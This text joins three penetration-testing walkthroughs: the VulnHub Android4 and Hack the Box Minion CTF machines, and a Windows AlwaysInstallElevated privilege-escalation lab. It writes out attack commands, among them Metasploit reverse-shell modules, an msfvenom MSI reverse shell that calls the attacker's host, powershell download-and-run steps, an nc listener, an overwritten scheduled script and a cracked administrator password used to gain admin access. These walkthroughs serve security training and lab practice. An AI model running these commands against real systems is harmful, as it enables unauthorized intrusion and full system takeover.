Hack the Android4: Walkthrough (CTF Challenge)

Hello everyone and welcome to yet another CTF challenge walkthrough. This time we’ll be putting our hands on Android4 which is made by Touhid Shaikh. You can find the link to download this vulnerable VM here (https://www.vulnhub.com/entry/android4-1,233/).

The level of this vulnerable vm, that I would rate, is beginner.

Steps involved:

1. Port scanning and IP discovery

2. Attacking port 8080 proxy using adb_server_exec

3. Connection to the device using ADB.

4. Shell grabbing.

5. Privilege escalation and reading congratulatory flag.

Let’s get started then!

First we’ll grab the IP address using netdiscover utility present in Kali Linux.

netdiscover

In my case the IP address is 192.168.1.105

The second step is as usual port scanning. In this scan we’ll be using an all port aggressive scan using the most popular tool nmap.

nmap - p -  -A 192.168.1.105

From this we established that there is some kind of web page related to the port 8080.

Without any delay we opened the webpage but found nothing.

Anyone would establish that there is some kind of verbal tampering involved using POST method. We tried but didn’t find anyting useful.

After trying a few other methods (PHP CLI and Dropbear RCE) here is one method that we found the best for our cause.

Android Debug Bridge (adb) is a versatile command-line tool that lets you communicate with a device. The adb command facilitates a variety of device actions, such as installing and debugging apps, and it provides access to a Unix shell that you can use to run a variety of commands on a device. It is a client-server program that includes three components:

·      A client, which sends commands. The client runs on your development machine. You can invoke a client from a command-line terminal by issuing an adb command.

·      A daemon (adbd), which runs commands on a device. The daemon runs as a background process on each device.

·      A server, which manages communication between the client and the daemon. The server runs as a background process on your development machine.

When you start an adb client, the client first checks whether there is an adb server process already running. If there isn't, it starts the server process

To start an ADB server we used metasploit:

use exploit/android/adb/adb_server_exec

set RHOST 192.68.1.105

set payload linux/armle/shell_reverse_tcp

set LHOST 192.168.1.108

set LPORT 3333

exploit

(It is quite possible that the local port won’t accept connection. In such a case, we change the default port from 4444 to 3333s)

If you don’t have adb installed you can install it by sudo apt-get install adb

Once the status shows “Connecting to device, ” on a new terminal window type the command:

adb connect 192.168.1.105:5555

adb shell

In shell:

ls

to go to the defaullt directory:

cd

su

Voila! We got a root shell!

In /data directory we found a folder called “root”

cd /data

ls

Final step was reading the congratulatory flag:

cd /root

ls

cat flag.txt

Hack the Box: Minion Walkthrough

Hello friends!! Today we are going to solve another CTF challenge “Minion” which is available online for those who want to increase their skill in penetration testing and black box testing. Minion is retired vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level; they have the collection of vulnerable labs as challenges from beginners to Expert level.

Level: Expert

Task: find user.txt and root.txt file on victim’s machine.

Since these labs are online available therefore they have static IP and IP of Minion is 10.10.10.57 so let’s begin with nmap port enumeration.

nmap -sV -p- 10.10.10.57 –open

From given below image, you can observe that we find port 62696 is open on target system.

As port 62696 is running IIS http service, we open the IP address in our browser on port 62696.

We don’t find anything on the webpage, so we run dirb to enumerate the directories. As the target machine is running Microsoft IIS server we try to find .asp file.

dirb http://10.10.10.57:62696 -X .asp

Dirb scan gave us a link to page called test.asp, we open the link and find a page that is asking for u as its parameter.

After enumerating this system, we find that this page is vulnerable to SSRF. So when we try access localhost we find a link called system commands.

As we are not directly accessing the page, we take a look at the source code and find the link to system command.

We open it using SSRF and find a form that can be used to execute our commands.

When we try to execute a command we are unable to. So we take a look at the source code of the page and find the parameter that is being used to pass the command we type.

After finding the parameter we use it pass our command and we find that we only get a response in terms of Exit Status. Exit Status = 1 for successful and Exit Status = 0 in case of errors.

Now when we try to get a reverse shell we are unable to, it is possible that TCP and UDP packets are blocked. So we ping ourselves using this RCE vulnerability to check if ICMP packet is allowed.

We setup tcpdump to capture the icmp packets and find that icmp packets are allowed.

tcpdump -i tun0 icmp

We create an icmp reverse shell because few characters are blacklisted on the server.

We run it on the vulnerable page that we found earlier.

We create our custom reverse shell (you can download here), we run it and after a few moments we get a reverse shell. We take look at the c:\ directory and find a directory called “sysadmscripts”.

We go to root directory and find two files called “c.ps1” and “del_logs.bat”.

We take a look at the content of the file, and find that c.ps1 writes something inside a file that is passed as its argument. In “del_logs.bat” file it creates logs inside log.txt inside c:\windows\temp\ directory and find that the time is changed every 5 minutes.

Now we check the permissions for both of these files with icacls and find that we have full

permissions over c.ps1.

icacls c.ps1

Now we change the original c.ps1 with our file, so that we can try and get the user.txt and root.txt.

echo "dir c:\users\administrator\Desktop > c:\temp\output.txt" > c:\temp\test.ps1

echo "dir c:\users\decoder.MINION\Desktop >> c:\temp\output.txt" >> c:\temp\test.ps1

echo "copy c:\users\administrator\Desktop\root.txt c:\temp\root.txt" >> c:\temp\test.ps1

echo "copy c:\users\decoder.MINION\Desktop\* c:\temp\" >> c:\temp\test.ps1

(Get-Content c:\temp\test.ps1) | ForEach-Object { $_ -replace """", "" } | Set-Content c:\temp\test.ps1

copy c:\sysadmscripts\c.ps1 c:\temp\c.ps1.bak

copy c:\temp\test.ps1 c:\sysadmscripts\c.ps1

We wait for few minutes for the powershell script to get executed and find that we were able to successfully able to extract “user.txt”. We open the file and find the first flag. We also zip file called “backup.zip”. Before looking in the zip backup file, we take a look at the content of “output.txt” and find that the file was in “c:\users\decoder.MINION\Desktop” directory.

Enumerating further backup.zip file we extract PASS from alternate data stream files.

get-content c:\temp\backup.zip -str pass

We decode the NTLM hash using hashkiller.co.uk and find the password to be 1234test.

We mount the C$-Share using the credentials we found by cracking the hash.

net use * \\minion\c$ /user:minion\administrator 1234test

As we can see the hard disk got mounted as “Drive Z:”. We go to Z: drive and inside “z:\User\Administrator\Desktop”. We find two files called root.txt and root.exe, when take a look at the content of “root.txt” it tells us to run “root.exe”. We try to run root.exe but are unable to get a flag because we are not Administrator yet.

Let’s set users as administrator using $user and giving the password using $pass and then convert the string using convert-to-securestring-asplaintext-force using the PSCredetail we created the a new object that further will help us to create a new session which will run the commands as administrator. Lastly we will run the root.exe using the invoke-command. And as you can see in the given screenshot we have decoded successfully the securestring.

$user = “minion\administrator”

$pass = “1234test” | convert to-securestring – asplaintext –force

$cred = new-object –typename System.Managemet.Automation.PSCredential –argumentlist $user, $pass

$session = new-pssession minion –Credential $cred

invoke-command –Session $session {cd C:\users\administrator\desktop; .\root.exe}

Windows Privilege Escalation (AlwaysInstallElevated)

"AlwaysInstallElevated" is a setting in Windows policy that permits the Windows Installer packages (.msi files) to be installed with administrative privileges. This configuration can be adjusted through the Group Policy Editor (gpedit.msc). When activated, it enables any user, even those with restricted privileges, to install software with elevated rights. This option is available under both the Computer Configuration and User Configuration sections within the Group Policy.

Table of Contents

·      About the misconfiguration

·      Lab Setup

·      Configuration

·      Privilege Escalation (Enumeration)

·      Enumeration using WinPEAS

·      Privilege Escalation (Manual Exploitation)

·      Privilege Escalation (Using Metasploit)

·      Conclusion

About the misconfiguration

When the "Always install with elevated privileges" setting is enabled, it allows Windows Installer packages (.msi files) to be installed with administrative privileges by any user, including those with limited permissions. This feature is intended for ease of software deployment in enterprise environments but can be exploited by malicious users to gain elevated access to the system.

Lab Setup

To perform the lab setup, a misconfiguration is created inside the Windows machine and then it can be exploited.

Target Machine: Windows 10 (192.168.31.219)

Attacker Machine: Kali Linux (192.168.31.141)

 

Configuration

Inside the Windows machine there is functionality to edit the Group Policy. The Group Policy Editor, known as gpedit.msc, is a Microsoft Management Console (MMC) functionality that offers a graphical interface for managing Group Policy settings on Windows systems. Group Policy is a Windows feature that enables administrators to centrally control and configure operating system settings, user settings, and software configurations.

To access this functionality, open the Run dialog box in the Start Menu and type the following command:

gpedit.msc

 

For Windows 11 (Home edition), the Group Policy editor does not exist so there are some alternatives to edit the Group Policy. Here is a link depicting how to perform the same in Windows 11 (Home edition):

https://answers.microsoft.com/en-us/windows/forum/all/gpeditmsc-missing/d75b96e0-8bd9-4810-a609-90893cd65342

After running the command, an editor will open, there navigate to the following path:

Local Computer PolicyàAdministrative TemplatesàWindows Components

 

 

After dropping down in the Windows Components, there will be a Windows Installer which will contain the "Always install with elevated privileges" setting.

Enable the setting to complete the setup.

Run the following command in the command prompt to refresh the Group Policy settings to ensure that all the policies are reapplied, even if they haven't changed.

gpupdate /force

 

Privilege Escalation (Enumeration)

Assuming that we already have an initial shell access at port 1235, we will now demonstrate how to perform the privilege escalation by abusing this misconfiguration.

The misconfiguration can be checked by running the registry query commands. Following are the commands to check whether the setting is enabled or not:

reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer

reg query HKLM\Software\Policies\Microsoft\Windows\Installer

The output of the above commands can be observed form the value of REG_DWORD. It refers to a specific data type within the Windows Registry. It stands for "Registry DWORD" and represents a 32-bit unsigned integer value. The value shown in output as 0x1 represent 1 in decimal number and it represents the enabled state of the setting.

For both the above queries, there is a point to be noted here is that one query is related to the HKCU and the other one is related to HKLM.

The main difference between HKEY_CURRENT_USER (HKCU) and HKEY_LOCAL_MACHINE (HKLM) is in their scope and the type of settings they store.

HKCU holds user-specific configuration data like desktop settings and application preferences. These settings are specific to the currently logged-in user and are loaded from HKEY_USERS upon login, making them volatile and session-dependent.

On the other hand, HKLM contains system-wide settings such as hardware configurations and software installations that apply universally to all users on the computer.

Enumeration using WinPEAS

The above enumeration of the misconfiguration can also be performed using an automated enumeration script known as WinPEAS.exe. After running the script, it will automatically enumerate the misconfigurations.

The script can be downloaded using the following link:

https://github.com/peass-ng/PEASS-ng/releases/tag/20240630-b2cfbe8a

After downloading the required version, it can be transferred into the target system preferably in the Public folder.

Results of winPEAS shows the "AlwaysInstallElevated" setting set to 1 in HKLM and HKCU.

Privilege Escalation (Manual exploitation)

Inside kali linux, generate a package installer file such as ignite.msi using msfvenom and upload it in the target system using any locally hosted server such as updog.

The command to generate the .msi file using msfvenom will be:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.31.141 lport=443 -a x64 --platform windows -f msi -o ignite.msi

And the command to host the server will be:

updog -p 80

The file can be downloaded in the target system using powershell wget command and then the package can be installed using the msiexec command line utility.

powershell wget 192.168.31.141/ignite.msi -o ignite.msi

msiexec /quiet /qn /i ignite.msi

Make sure to start a listener at port 443, before running the msiexec command.

rlwrap nc -lvnp 443

Observe that once the package is executed a reverse shell is obtained with NT Authority\system privileges.

There is another scenario in which the misconfiguration can be abused is that let's assume the user raaz is a normal user who is just a part of Local Users group. Now the same attack can be performed by creating a malicious package installer file which when executed will make the user raaz a member of Administrators group.

net user raaz

The command to generate the .msi file using msfvenom will be:

msfvenom -p windows/exec CMD='net localgroup administrators raaz /add' -f msi > adduser.msi

The above created file can be downloaded using the powershell wget command and then can be executed using the msiexec command-line utility. Using the following commands:

powershell wget 192.168.31.141/adduser.msi -o adduser.msi

msiexec /quiet /qn /i adduser.msi

Upon running the malicious package installer, the command got successfully executed and the user raaz became a member of Administrators group.

net user raaz

 

Privilege Escalation (Using Metasploit)

Inside Metasploit, there is an exploit by the name exploit/windows/local/always_install_elevated, which is a local privilege escalation exploit and performs the same task which we discussed earlier but in an automated manner.

Following are the commands which can be used to run the exploit inside Metasploit:

use exploit/windows/local/always_install_elevated

set lhost 192.168.31.141

set session 1

run

It can be noticed that this exploit creates a .msi file and uploads it to the Temp directory of the raj user in the target system. After the execution of the file the shell with elevated privileges are obtained.

 

 

Conclusion

There are many ways to perform the windows privilege escalation, however the "AlwaysInstallElevated" setting is among the easiest to exploit misconfiguration. It is recommended to perform best practises while implementing any user specific policy.